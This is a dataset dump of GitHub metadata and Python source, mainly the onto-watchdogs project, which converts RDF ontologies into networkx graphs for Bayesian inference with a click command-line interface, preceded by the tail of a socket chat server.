# of args: \" + repr(len(args))\n sys.exit()\nprint args[0]\n\nserverName = args[1]\nserverPort = int(args[2])\nclients = []\nchannels = []\n\nserver_socket = socket(AF_INET,SOCK_STREAM)\nserver_socket.bind((serverName, serverPort))\nserver_socket.listen(5)\n\ndef messageEncode(message):\n if len(message) < 200:\n for x in range(200 - len(message)):\n message = message + \" \"\n return message\n\ndef messageDecode(message):\n return message.rstrip()\n\ndef checkOperation(message):\n try:\n if(message[0] == '/'):\n return True\n else:\n return False\n except:\n return False\n\n\ndef parseOperation(message):\n if(message[1:5] == 'list'):\n return 'list'\n elif(message[1:5] == 'join'):\n return 'join'\n elif(message[1:7] == 'create'):\n return 'create'\n else:\n return message.split()[0]\n \n\ndef parseChannelName(client, message):\n try:\n channel = message.split()[1]\n except:\n print message.split()[0]\n if(message.split()[0] == '/join'):\n client.socket.send(messageEncode(SERVER_JOIN_REQUIRES_ARGUMENT))\n print SERVER_JOIN_REQUIRES_ARGUMENT\n elif(message.split()[0] == '/create'):\n client.socket.send(messageEncode(SERVER_CREATE_REQUIRES_ARGUMENT))\n print SERVER_CREATE_REQUIRES_ARGUMENT\n return\n return channel\n\ndef returnChannelList(socket):\n channelMessage = ''\n for channel in channels:\n channelMessage = channelMessage + channel.name + '\\n'\n print channelMessage\n socket.send(messageEncode(channelMessage))\n\ndef createChannel(client, socket, channelName):\n print('creating channel...')\n newChannel = Channel(channelName)\n newChannel.addSubsciber(client)\n client.setChannel(newChannel)\n for channel in channels:\n if channel.name == channelName:\n client.socket.send(messageEncode(SERVER_CHANNEL_EXISTS.format(newChannel)))\n return\n \n channels.append(newChannel)\n\ndef broadcastMessage(client, message):\n channel = client.getChannel()\n if(channel == \"\"):\n client.socket.send(messageEncode(SERVER_CLIENT_NOT_IN_CHANNEL))\n return\n for subscriber in channel.subscriber:\n subscriber.socket.send(messageEncode(message))\n\ndef joinChannel(channelName, client):\n channelObj = \"\"\n for channel in channels:\n if channel.name == channelName:\n channelObj = channel\n if(channelObj == \"\"):\n client.socket.send(messageEncode(SERVER_NO_CHANNEL_EXISTS.format(channelName)))\n return\n \n currentChannel = client.getChannel()\n if(currentChannel != \"\"):\n broadcastMessage(client, SERVER_CLIENT_LEFT_CHANNEL.format(client.name))\n currentChannel.deleteSubsciber(client)\n client.setChannel(channelObj)\n broadcastMessage(client, SERVER_CLIENT_JOINED_CHANNEL.format(client.name))\n channelObj.subscriber.append(client)\n\ndef listenClient(client):\n while True:\n message = messageDecode(client.socket.recv(200))\n print(\"Client: \" + client.name)\n print(\"Message: \" + message)\n if checkOperation(message):\n operation = parseOperation(message)\n if(operation == 'list'):\n print 'list operation'\n returnChannelList(client.socket)\n elif(operation == 'create'):\n print 'create operation'\n channelName = parseChannelName(client, message)\n if (channelName != None):\n createChannel(client, client.socket, channelName)\n elif(operation == 'join'):\n print 'join operation'\n channelName = parseChannelName(client, message)\n if (channelName != None):\n joinChannel(channelName, client)\n else:\n print 'worong operation'\n client.socket.send(messageEncode(SERVER_INVALID_CONTROL_MESSAGE.format(operation)))\n else:\n message = \"[\" + client.name + \"] \" + message\n broadcastMessage(client, message)\n\n print 'end'\n \n\nwhile True:\n connectionSocket, addr = server_socket.accept()\n sentence = connectionSocket.recv(200).decode()\n clientInfo = sentence.split()\n client = Client(clientInfo[0], addr, connectionSocket)\n clients.append(client)\n print('new client')\n thread.start_new_thread(listenClient, (client, ))\n\n\n\n\n\n\n\n\n" } ]
2
Phonizx/onto-watchdogs
https://github.com/Phonizx/onto-watchdogs
2f8f18c80deee676a622ac3e91b9529f632761ca
ad94c66216bb7be0646c7bac1b54a37ed5930966
9d57003867856a3d6b25dcf9ef52be7b5cc08d4b
refs/heads/master
2020-06-07T10:02:01.314433
2020-05-01T17:24:23
2020-05-01T17:24:23
192,994,424
2
1
null
2019-06-20T22:25:44
2020-04-24T01:08:29
2020-05-01T17:24:24
Python
[ { "alpha_fraction": 0.4648951590061188, "alphanum_fraction": 0.4707459807395935, "avg_line_length": 34.6695671081543, "blob_id": "760e89c9eccc5fd9ba091d62a8de2b84d8577cbf", "content_id": "eb4bd4f04a89751a7f78510173fa29a5469e367d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4102, "license_type": "no_license", "max_line_length": 91, "num_lines": 115, "path": "/src/BayesNet.py", "repo_name": "Phonizx/onto-watchdogs", "src_encoding": "UTF-8", "text": "import Net as nt\nimport sys\n\nZERO_PROB = sys.float_info.min\n\nclass BayesNet:\n\n def __init__(self, net):\n self.n = net\n self.graph = net.get_network()\n self.to_node = net.get_ToNode()\n\n def inizialize_probability(self):\n causes = self.to_node.copy()\n for to in self.to_node:\n causes.append(to+\"_freq\")\n nodi = list(self.graph.nodes())\n for cas in causes:\n try:\n for n in nodi:\n if n == cas:\n nodi.remove(cas)\n except:\n print(end=\"\")\n for cause in self.to_node:\n self.bayes_calc(cause, nodi)\n\n\n def normalize_zero(self, prob):\n return ZERO_PROB if prob == 0 else prob\n\n def probability_priori(self, B, N):\n if N > 0:\n try:\n pr = self.graph.get_edge_data(B, B+\"_freq\")[0][\"probability\"]\n except:\n try:\n pr = self.graph.get_edge_data(B, B+\"_freq\")[0][\"freq\"]/N\n self.add_prob_edge(B, B+\"_freq\", pr)\n except:\n pr = ZERO_PROB\n self.add_prob_edge(B, B+\"_freq\", pr)\n return self.normalize_zero(pr)\n else:\n #print(\"N = 0!\")\n return ZERO_PROB\n\n # add a weight \"probability\", if there aren't edges, we assume prob equals to ZERO_PROB\n def add_prob_edge(self, node, to, prob):\n if (self.graph.has_edge(node, to)):\n edge = self.graph.get_edge_data(node, to)[0]\n self.graph.remove_edge(node, to)\n try:\n self.graph.add_edge(\n node, to, attr=edge[\"attr\"], weight=edge[\"weight\"], probability=prob)\n except:\n self.graph.add_edge(node, to, probability=prob)\n else:\n self.graph.add_edge(node, to, attr=\"ruolo\",\n weight=0, probability=prob)\n\n def conditional_probability(self, node, to): # P (A | B)\n if isinstance(node, list):\n if len(node) > 1:\n try:\n p_A_B = self.graph.get_edge_data(\n node[0], to)[0][\"probability\"]\n except:\n if self.n.numOutDegree(node[0]) == 0:\n p_A_B = ZERO_PROB\n self.add_prob_edge(node[0], to, p_A_B)\n else:\n p_A_B = self.n.numOutDegree(\n node[0], to) / self.n.numOutDegree(node[0])\n p_A_B = self.normalize_zero(p_A_B)\n self.add_prob_edge(node[0], to, p_A_B)\n p = p_A_B * self.conditional_probability(node[1:], to)\n else:\n if len(node) == 1:\n p = self.conditional_probability(node[0], to)\n else:\n try:\n p = self.graph.get_edge_data(node, to)[0][\"probability\"]\n except:\n try:\n p = self.n.numOutDegree(node, to) / self.n.numOutDegree(node)\n p = self.normalize_zero(p)\n self.add_prob_edge(node, to, p)\n except:\n p = ZERO_PROB\n self.add_prob_edge(node, to, p)\n return p\n\n def probability_FPT(self, Bs, N):\n P_B = ZERO_PROB\n for priori in self.to_node:\n pr = self.probability_priori(priori, N)\n # Calcola la prob condizionata e congiuta dei nodi Bs\n pc = self.conditional_probability(Bs, priori)\n P_B += pc * pr\n return P_B\n\n def bayes_calc(self, cause, effects):\n\n tot_freq = self.n.totfreq\n p_FPT = self.probability_FPT(effects, tot_freq)\n\n if p_FPT <= 0:\n #print(\"p_FPT = 0!\")\n return ZERO_PROB\n else:\n p_A_B = self.conditional_probability(effects, cause)\n pr = self.probability_priori(cause, tot_freq)\n bayesP = (p_A_B * pr) / p_FPT\n return round(bayesP, 4) if bayesP > 0 else ZERO_PROB\n" }, { "alpha_fraction": 0.4543195068836212, "alphanum_fraction": 0.46117904782295227, "avg_line_length": 34.16783142089844, "blob_id": "d06c2940c53db6b538ca30c193bb326803fefa9f", "content_id": "7bff72386142f9be433ad6e48e6c4bacab047e52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10063, "license_type": "no_license", "max_line_length": 112, "num_lines": 286, "path": "/src/Net.py", "repo_name": "Phonizx/onto-watchdogs", "src_encoding": "UTF-8", "text": "import rdflib\nfrom rdflib import Graph, Literal, BNode, Namespace, RDF, URIRef\nfrom rdflib.namespace import DC, FOAF\nfrom rdflib.extras.external_graph_libs import rdflib_to_networkx_multidigraph\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom rdflib.collection import Collection\nfrom rdflib import ConjunctiveGraph, URIRef, RDFS\nimport re\nimport _pickle as cPickle\nimport sys\nimport random\n\nZERO_PROB = sys.float_info.min\nPREDICATI = [\"annotatedSource\", \"annotatedTarget\", \"probability\"]\n\nclass Net:\n\n def __init__(self):\n pass\n\n def load_graph(self, path_rdf, _from, to):\n self.network = nx.MultiDiGraph()\n self.dsub = {}\n self.entity = {}\n self.to_list = {}\n self.to_node = []\n self.from_node = set()\n self.g = self.load_rdf(path_rdf)\n self.totfreq=1\n if to[0] == PREDICATI[1]:\n self.parse_to_graph_probabilistic(self.g, _from, to)\n else:\n self.parse_to_graph(self.g, _from, to)\n self.totfreq = self.frequency_nodes(_from[0])\n\n def load_net(self, path_dump):\n f = open(path_dump, 'rb')\n tmp_dict = cPickle.load(f)\n f.close()\n self.__dict__.update(tmp_dict)\n\n def load_rdf(self, path): # carica rdf da path\n g = Graph()\n try:\n return g.parse(path)\n except:\n print(\"Errore: Percorso rdf invalido.\")\n\n def get_entity(self):\n return self.entity\n\n def get_ToNode(self):\n return self.to_node\n\n def get_network(self):\n return self.network\n\n def get_Rdf(self):\n return self.g\n\n def get_FromNode(self):\n return self.from_node\n\n def filter(self, s, p, o):\n s = s.strip().replace(\"//\", \"/\").split('/')\n s = s[len(s)-1]\n p = p.strip().replace(\"//\", \"/\")\n p = re.split('~|#|/', p)\n p = p[len(p)-1]\n o = o.strip().replace(\"//\", \"/\")\n o = re.split('~|#|/', o)\n o = o[len(o)-1]\n return s, p, o\n\n def parse_entity(self, g, _from, to):\n for s, p, o in g:\n s, pr, _o = self.filter(s, p, o)\n if(pr in to): # predicati\n if(_o not in self.network.nodes()):\n self.network.add_node(_o) # generi univoci nel grafo\n self.to_node.append(_o)\n self.to_list[s] = _o\n if(pr in _from and pr not in _from[0]):\n self.entity[pr] = p\n self.from_node.add(_o)\n\n def parse_to_graph(self, g, _from, to, target=None):\n g = self.g\n self.parse_entity(g, _from, to) # parsing dei singoli nodi To\n for s, p, o in g:\n s, p, o = self.filter(s, p, o)\n if(s in self.dsub.keys()):\n if(p in self.dsub[s].keys()):\n # predicato gia inserito\n if(type(self.dsub[s][p]) is list):\n self.dsub[s][p].append(o)\n else:\n tmp = self.dsub[s][p]\n del self.dsub[s][p]\n self.dsub[s][p] = []\n self.dsub[s][p].append(tmp)\n self.dsub[s][p].append(o)\n else:\n # predicato sconosciuto\n self.dsub[s][p] = o\n else:\n self.dsub[s] = {}\n self.dsub[s][p] = o\n\n # RDF to NetworkX\n if(p in _from):\n if(o not in self.network.nodes()):\n self.network.add_node(o)\n to_item = self.to_list[s]\n if(self.network.has_edge(o, to_item)):\n w = self.network.get_edge_data(o, to_item)\n w = w[0][\"weight\"]\n self.network[o][to_item][0][\"weight\"] = w + 1\n else:\n self.network.add_edge(o, to_item, attr=p, weight=1)\n return self.network\n\n def parse_to_graph_probabilistic(self, g, _from, to, target=None):\n g = self.g\n self.parse_entity(g, _from, to) # parsing dei singoli nodi To\n for s, p, o in g:\n s, p, o = self.filter(s, p, o)\n if(s in self.dsub.keys()): # se il soggeto è stato già trovato\n if(p in self.dsub[s].keys()): # se il predicato è stato già trovato\n if(type(self.dsub[s][p]) is list): # se sono presenti dei oggetti \n self.dsub[s][p].append(o)\n else:\n tmp = self.dsub[s][p]\n del self.dsub[s][p]\n self.dsub[s][p] = []\n self.dsub[s][p].append(tmp)\n self.dsub[s][p].append(o)\n else:\n self.dsub[s][p] = o\n else:\n self.dsub[s] = {}\n self.dsub[s][p] = o\n nodi = set()\n for k, v in self.dsub.items():\n if k[0] == \"N\" or k[0] == \"T\" :\n sogg, ogg, prob = v[_from[0]], v[to[0]], v[_from[1]]\n nodi.add(sogg)\n nodi.add(ogg)\n self.add_node([sogg, ogg])\n self.to_node.append(ogg)\n self.network.add_edge(sogg, ogg, probability=float(prob))\n else:\n if k[0]==\"g\":\n nodi.add(k.split(\"#\")[1])\n try:\n tmp = v[\"subClassOf\"]\n if isinstance(tmp, list):\n for x in v:\n nodi.add(x)\n else:\n nodi.add(tmp)\n except:\n pass\n self.to_node =list(set(self.to_node))\n \n da_eliminare = [\"type\",\"Thing\",\"subClassOf\",\"type\",\"ObsoleteClass\"]\n eliminati = 0\n for e in da_eliminare:\n if e in nodi:\n nodi.remove(e)\n eliminati +=1 \n self.totfreq = len(nodi)-eliminati\n return self.network\n\n def add_node(self, x):\n if isinstance(x, list):\n for e in x:\n self.add_node(e)\n else:\n if (x not in self.network.nodes()):\n self.network.add_node(x)\n\n\n\n def frequency_nodes(self, name_label):\n # titolo =\"label\" #\"titolo\"\n count_node = 0\n for entity in self.to_node:\n freq_entity = 0\n edj = self.network.in_edges(entity)\n for e in edj:\n if(self.network.get_edge_data(e[0], e[1])[0][\"attr\"] == name_label):\n freq_entity += 1\n node = entity + \"_freq\"\n self.network.add_node(node)\n self.network.add_edge(entity, node, freq=freq_entity)\n count_node += freq_entity\n return count_node\n\n def numOutDegree(self, node, to=None):\n weight = \"weight\"\n outdegree = 0\n out_edges = list(self.network.out_edges(node, data=True))\n if to == None: # richiede il totale di archi uscenti\n try:\n for out_edge in out_edges:\n outdegree += out_edge[2][weight]\n except:\n out_edge=ZERO_PROB\n else:\n for out_edge in out_edges:\n if out_edge[1] == to:\n outdegree += out_edge[2][weight]\n return outdegree\n\n def draw_network(self):\n pos = nx.spring_layout(self.network, k=100)\n nx.draw_networkx_edge_labels(self.network, pos,\n font_size=10, font_color='k', font_family='sans-serif',\n font_weight='normal', alpha=2.0, bbox=None, ax=None, rotate=False)\n nx.draw(self.network, pos=pos, with_labels=True,\n node_size=200, font_size=13)\n plt.show()\n\n def dump_net(self, path_dump):\n f = open(path_dump, 'wb')\n cPickle.dump(self.__dict__, f, 2)\n f.close()\n\n def decoding(self, ws, path=\"polarize.xml\"):\n for fnode in self.from_node:\n for e in self.network.edges(fnode):\n pr = self.network.get_edge_data(e[0], e[1])[0][\"probability\"]\n role = self.network.get_edge_data(e[0], e[1])[0][\"attr\"]\n s = URIRef(self.entity.get(\n role, \"http:www.example.com/ruolo\") + \"/\" + str(e[0]).lower())\n p = URIRef(\"http://www.example.com/genere/\" +\n str(e[1]).lower())\n o = URIRef((Literal(pr)))\n self.g.add((s, p, o))\n self.g.serialize(path, format=\"xml\")\n # aggiornamento di net con kb probabilistica\n self.dump_net(ws + \"/graph.pickle\")\n\n def query(self, query=\"SELECT ?genere ?prob WHERE {<http://www.example.org/attore/hoodie> ?genere ?prob}\"):\n result_set = []\n try:\n rows = self.g.query(query)\n\n result_set = []\n for binding in rows.bindings:\n for k, v in binding.items():\n k = str(k)\n v = str(v)\n v = v.split('/')\n v = v[len(v)-1]\n result_set.append({v: k})\n print(result_set)\n except:\n print(\"Errore di sintassi.\")\n\n def random_node_pair(self):\n len_to = len(self.to_node)-1\n\n while True:\n to = random.randint(0, len_to)\n a = self.to_node[to]\n if a[0] == \"C\" or a[0] == \"N\" or a[0] == \"T\":\n out_edges = list(self.network.out_edges(a, data=True))\n \n if len(out_edges) > 0:\n b = out_edges[random.randint(0, len(out_edges)-1)][1]\n break\n\n # while True:\n # to = random.randint(0, len_to)\n # b = self.to_node[to]\n # if b[0] == \"C\" or b[0] == \"N\" or b[0] == \"T\":\n # break\n\n primo = random.randint(0, 1)\n if primo == 1:\n return a, b\n else:\n return b, a\n\n" }, { "alpha_fraction": 0.48194974660873413, "alphanum_fraction": 0.48865193128585815, "avg_line_length": 37.39765930175781, "blob_id": "f9cb06e3f6a0e262650a9f376024fcb4d351df38", "content_id": "9b568191e1d187b85d5733e831aa3475750ab86f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6565, "license_type": "no_license", "max_line_length": 126, "num_lines": 171, "path": "/src/Handle.py", "repo_name": "Phonizx/onto-watchdogs", "src_encoding": "UTF-8", "text": "import os, glob, sys\nimport BayesNet as bn\nimport Net as nt\nimport networkx as nx\n\nimport time\nZERO_PROB = sys.float_info.min\n\nclass Handle:\n def __init__(self):\n self.ws = \".ws/\"\n if(not os.path.isdir(self.ws)):\n os.mkdir(self.ws)\n self.path = \"../ontologie/\"\n \n def show_ontologies(self):\n os.chdir(self.path)\n print(\"Ontologie trovate: \")\n g = glob.glob(\"*.*\")\n for file in glob.glob(\"*.xml\"):\n print(\"\\t- \" + file.title())\n \n def load_ontologia(self, demo, _from, to, init=False): #warning, load ontologia NON DEMO\n print(demo)\n self.net = nt.Net()\n self.net.load_graph(\"../ontologie/\" + demo, _from, to)\n\n if(init):\n bayes = bn.BayesNet(self.net)\n bayes.inizialize_probability()\n ws_name = demo.split('/')\n ws_name = ws_name[len(ws_name)-1]\n self.path_workspace = self.ws + ws_name \n self.path_workspace = '.' + self.path_workspace.split('.')[1]\n \n if(os.path.isdir(self.path_workspace)):\n print(\" Workspace gia' esistente \")\n else:\n os.mkdir(self.path_workspace)\n self.dumpGraph()\n\n def show_workspace(self):\n if(os.path.isdir(self.ws)):\n for r, d, f in os.walk(self.ws):\n for folder in d:\n print(\" - \" + folder)\n else:\n print(\"Errore: WorkSpace non esistente.\")\n\n def loadWorkspace(self,name):\n self.path_workspace = self.ws + name\n if(os.path.isdir(self.path_workspace)):\n self.loadGraph(self.path_workspace)\n\n def dumpGraph(self): \n self.net.dump_net(self.path_workspace + \"/graph.pickle\") \n\n def loadGraph(self,path_workspace): #load il dumping di net\n try:\n self.net = nt.Net()\n self.net.load_net(path_workspace + \"/graph.pickle\")\n self.network = self.net.get_network()\n return self.net\n except:\n print(\"Errore nel caricamento del grafo.\")\n return None\n\n def bayesianOp(self, workspace, effects, cause, show=False):\n self.path_workspace = self.ws + workspace\n net = self.loadGraph(self.path_workspace)\n bayes = bn.BayesNet(net)\n if(os.path.isdir(self.path_workspace)):\n print(\"P(\" + str(cause) + \"|\" + str(effects) + \"): \" + str(bayes.bayes_calc(cause, effects)))\n if(show):\n net.draw_network()\n\n def bayesianOp_Random(self, workspace, show=False):\n self.path_workspace = self.ws + workspace\n net = self.loadGraph(self.path_workspace)\n cause, effects = net.random_node_pair()\n bayes = bn.BayesNet(net)\n if(os.path.isdir(self.path_workspace)):\n prob = bayes.bayes_calc(cause, effects)\n if (prob > ZERO_PROB):\n print(\"P(\" + str(cause) + \"|\" + str(effects) + \"): \" + str(prob))\n if(show):\n net.draw_network()\n return (prob, cause, effects)\n\n def demos(self, example):\n if(example in \"KBPs\"):\n onts = [\"cell\", \"nci\", \"teleost\"]\n nums = [\"250\", \"500\", \"750\", \"1000\"]\n from_ = [\"annotatedSource\", \"probability\"]\n to_ = [\"annotatedTarget\"]\n caricamento KBPs\n for o in onts:\n for i in nums:\n self.load_ontologia((o + \"prob\" + i + \".xml\"), from_, to_)\n esecuzione queries\n tempi = []\n tot_tempo = 0\n for o in onts:\n for i in nums:\n ws_ = o + \"prob\" + i\n print(ws_)\n \n f = open(\"../queries/\" + o + \"/\" + o + \"_queries (\" + str(int(i) % 250 + 1) + \").txt\", \"r\")\n tempo = 0\n cont = 0\n # lettura ed esecuzione di 100 queries\n while True:\n tmp = f.readline()\n if tmp ==\"\":\n break\n tmp = tmp.split(\"|\")\n a, b = tmp[0], (tmp[1].split(\"\\n\"))[0]\n t1 = time.time()\n # self.bayesianOp(ws_, [a], b)\n self.bayesianOp_Random(ws_ )\n tempo += time.time() - t1\n cont += 1\n tmp = f.readline()\n # Generazione di 100 queries\n \n # risultati = open(\"queries\"+ws_+\".txt\", \"w\")\n # for i in range(0, 100):\n # # prob, cause, effects = self.bayesianOp_Random(ws_)\n # print(prob,cause,effects)\n # if prob > ZERO_PROB:\n # risultati.writelines(cause+\"|\"+effects+\"\\n\")\n # print(cont, tot)\n # cont += 1\n # tot+=1\n # risultati.close()\n tot_tempo += tempo\n tempomed = tempo / cont\n tempi.append((ws_, tempomed, tempo))\n print(\"Tempo medio impegato per la query: \", tempomed)\n f.close()\n\n print(\"Tempo totale impiegato\", tot_tempo)\n for t in tempi:\n print(t)\n\n if(example in \"film\"):\n self.load_ontologia(\"film.xml\",[\"titolo\",\"regista\",\"attore\",\"autore\"],[\"genere\"],True)\n self.bayesianOp(\"film\", [\"ATTORE2\",\"AUTORE2\"],\"HORROR\",True)\n self.bayesianOp(\"film\", [\"ATTORE2\",\"AUTORE2\"],\"CARTOON\",True)\n else:\n if(example in \"metastaticcancer\"):\n self.load_ontologia(\"metastaticcancer.xml\",[\"paziente\",\"BrainTumor\",\"SerumCalcium\"],[\"MetastaticCancer\"],True)\n self.bayesianOp(\"metastaticcancer\", [\"TRUESC\",\"FALSEBT\"],\"TRUEMC\",True)\n\n def draw_graph(self,workspace):\n self.path_workspace = self.ws + workspace\n try:\n net = self.loadGraph(self.path_workspace)\n net.draw_network()\n except:\n print(\"Errore nella visualizzazione del grafo.\")\n\n def parseToRdf(self,workspace,path):\n self.path_workspace = self.ws + workspace\n net = self.loadGraph(self.path_workspace)\n net.decoding(self.path_workspace,path)\n\n def quering(self,workspace,query):\n self.path_workspace = self.ws + workspace\n net = self.loadGraph(self.path_workspace) \n net.query(query)" }, { "alpha_fraction": 0.8421052694320679, "alphanum_fraction": 0.8421052694320679, "avg_line_length": 24.66666603088379, "blob_id": "4f535d533177c090dc0242bd6dbbfad2857d3b05", "content_id": "e5fe3e13b57468ddaa64a0a5cdef1e1debc81c78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 76, "license_type": "no_license", "max_line_length": 29, "num_lines": 3, "path": "/src/__init__.py", "repo_name": "Phonizx/onto-watchdogs", "src_encoding": "UTF-8", "text": "from Net import Net \nfrom BayesNet import BayesNet\nfrom Handle import Handle" }, { "alpha_fraction": 0.6026689410209656, "alphanum_fraction": 0.6030994653701782, "avg_line_length": 35.296875, "blob_id": "973be008de3025d36a5f50a8d2f9ab707dd51d53", "content_id": "31e741967ebaa408b4adffa95e1e1425c3475130", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4646, "license_type": "no_license", "max_line_length": 120, "num_lines": 128, "path": "/src/pRDF.py", "repo_name": "Phonizx/onto-watchdogs", "src_encoding": "UTF-8", "text": "import click\nimport os, glob\nimport Handle as Hl\n\nfrom prompt_toolkit import prompt\nfrom prompt_toolkit.history import FileHistory\nfrom prompt_toolkit.auto_suggest import AutoSuggestFromHistory\nfrom prompt_toolkit.completion import WordCompleter\n\n\ncmdHandler = Hl.Handle()\n\[email protected]()\n# @click.option(\"--ws\", help=\"specifica il workspace caricato\")\n# @click.option(\"--path\", =\"Percorso file di un ontologia da caricare o da serializzare\")\n# @click.option(\"--eg\", help=\"Nome dell'esempio da mostrare {toystory | metastaticcancer}\")\n# @click.option('--about', help=\"Lista nodi from\")\n# @click.option('--to', help=\"Lista nodi to\")\n# @click.option('--prob', '-p', is_flag=True, help=\"calcola le probabilita' di tutte le entita' presenti nel grafo\")\n# @click.command(\"bayes\", help=\"Apre Shell interattiva in cui e' possibile fare inferenza nella rete bayesiana\")\ndef main():\n pass\n\[email protected](help=\"Mostra le ontologie presenti nella cartella di lavoro\") #mostra tutte le ontologie\ndef show():\n cmdHandler.show_ontologies()\n\[email protected](help=\"Visualizza la rete bayesiana\")\[email protected](\"--ws\")\ndef draw(ws):\n cmdHandler.draw_graph(ws)\n\[email protected](help=\"Apre una shell interattiva per query SPARQL\")\[email protected](\"--ws\")\ndef query(ws):\n suggest = ['SELECT', 'WHERE', 'FILTER', '?']\n SPARQLCompleter = WordCompleter(suggest, ignore_case=True)\n #print(SPARQLCompleter.words)\n net = cmdHandler.loadGraph(\".ws/\" + ws)\n entity = net.get_entity().values()\n fr = net.get_FromNode()\n for v in entity:\n SPARQLCompleter.words.append(v)\n for v in fr:\n SPARQLCompleter.words.append(\"/\" + v.lower())\n shell = True\n while(shell):\n query = prompt('SPARQL>',\n history=FileHistory('history/SQLhistory.txt'),\n auto_suggest=AutoSuggestFromHistory(),\n completer=SPARQLCompleter,\n )\n if(\"exit\" not in query):\n cmdHandler.quering(ws, query)\n else:\n shell = False\n\[email protected](help=\"Serializza un grafo in un'ontologia in formato xml\")\[email protected](\"--ws\")\[email protected](\"--path\")\ndef parse(ws, path):\n cmdHandler.parseToRdf(ws, path)\n\[email protected](help=\"Visualizza una demo specificata con l'opzione --eg\")\[email protected](\"--eg\")\ndef demo(eg):\n if(eg is not None):\n cmdHandler.demos(eg)\n\ndef parseList(arg):\n arg = arg.replace(\"[\", \"\").replace(\"]\", \"\")\n args = arg.split(',')\n return args\n\[email protected](context_settings=dict(help_option_names=['-h', '--help']), help=\"Crea da un ontologia una rete bayesiana\")\[email protected](\"path\")\[email protected]('--about')\[email protected]('--to')\[email protected]('--prob', '-p', is_flag=True, help=\"Print more output.\")\ndef load(path, about, to, prob): #parsa un'ontologia in un grafo di tipo networkx\n about = parseList(about)\n to = parseList(to)\n cmdHandler.load_ontologia(path, about, to, prob)\n\[email protected](help=\"Mostra tutti i workspace caricati\")\ndef workspace(): #mostra tutti i workspace creati \n cmdHandler.show_workspace()\n\ndef parserBayes(testo):\n if(\"ask\" in testo):\n testo = testo.replace('ask', '').strip()\n testo = testo.split('|')\n cause = testo[0].upper()\n effects = [] \n eff = testo[1].split(',')\n for seff in eff:\n effects.append(seff.strip().upper())\n return effects, cause\n else:\n return None, None\n\[email protected](help=\"Apre Shell interattiva per l'inferenza nella rete bayesiana\")\[email protected](\"--ws\")\ndef bayes(ws):\n EntityCompleters = WordCompleter([\"\"], ignore_case=True)\n net = cmdHandler.loadGraph(\".ws/\" + ws)\n fr = net.get_FromNode()\n to = net.get_ToNode()\n for v in fr:\n EntityCompleters.words.append(v.lower())\n for v in to:\n EntityCompleters.words.append(v.lower())\n shell = True\n while(shell):\n bayes = prompt('Bayes>',\n history=FileHistory('history/Bhistory.txt'),\n auto_suggest=AutoSuggestFromHistory(),\n completer=EntityCompleters\n )\n effects, cause = parserBayes(bayes)\n if(effects is not None and cause is not None or \"exit\" not in bayes):\n cmdHandler.bayesianOp(ws, effects, cause)\n else:\n shell = False\n #print(\"Exception query\")\n\nif __name__ == \"__main__\":\n main()\n" } ]
5
Float-python/lottery-spread
https://github.com/Float-python/lottery-spread
d5bb170fd3cf842fc36cd5831f1bdf76ceb5936d
ae4b7821ad1f471ffc846e3c9056b92665f671aa
b8b60f23f15f307c62da3486004f32ef622babfc
refs/heads/master
2022-11-12T18:50:53.205776
2020-07-07T01:51:07
2020-07-07T01:51:07
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7125110626220703, "alphanum_fraction": 0.725820779800415, "avg_line_length": 25.20930290222168, "blob_id": "43e43bf1844584e38aed8fda121301aa389c4671", "content_id": "84bfe5ccf3a39c25820d6bc3f8b37cb73cf8fe76", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1515, "license_type": "permissive", "max_line_length": 89, "num_lines": 43, "path": "/Main.py", "repo_name": "Float-python/lottery-spread", "src_encoding": "UTF-8", "text": "import requests, bs4\nimport gspread\nimport json\n\n#ServiceAccountCredentials:Googleの各サービスへアクセスできるservice変数を生成します。\nfrom oauth2client.service_account import ServiceAccountCredentials \n\n#2つのAPIを記述しないとリフレッシュトークンを3600秒毎に発行し続けなければならない\nscope = ['https://spreadsheets.google.com/feeds','https://www.googleapis.com/auth/drive']\n\n#認証情報設定\n#ダウンロードしたjsonファイル名をクレデンシャル変数に設定(秘密鍵、Pythonファイルから読み込みしやすい位置に置く)\ncredentials = ServiceAccountCredentials.from_json_keyfile_name('秘密鍵のJSON', scope)\n\n#OAuth2の資格情報を使用してGoogle APIにログインします。\ngc = gspread.authorize(credentials)\n\n#ここから下にスプレッドシートを操作する記述を書くよ\nworkbook = gc.open_by_key('スプレッドシートキー')\nworksheet = workbook.get_worksheet('数値型でワークシート番号(start0)')\n\n\nfor i in range(1,100):\n for c in ['F','J','N']\n cell=c+str(i)\n area = 'A'+str(i)+':'+'K'+str(i)\n id = worksheet.acell(cell).value\n res = requests.get('https://twitter.com/'+id;)\n res.raise_for_status()\n soup = bs4.BeautifulSoup(res.text, \"html.parser\")\n get_user = soup.select('#ユーザー名属性id')\n if get_user == None:\n worksheet.format(area, {'textFormat': {'bold': True}})\n else:\n pass\n \n\n\n\n\n\n\nprint(soup.h2)\n" } ]
1
PedroRisquez/c19norge-data
https://github.com/PedroRisquez/c19norge-data
abf2596d04e93302a43f8fb2be9017411e01530c
ac38460800d5d311877b949c74444b44a0916575
bfc82cb27c037bb2b45250de760c6614d30fa48d
refs/heads/main
2023-04-05T03:19:13.736864
2021-04-08T10:42:43
2021-04-08T10:42:43
352,645,096
0
0
MIT
2021-03-29T13:01:54
2021-03-29T11:41:09
2021-03-29T11:41:07
null
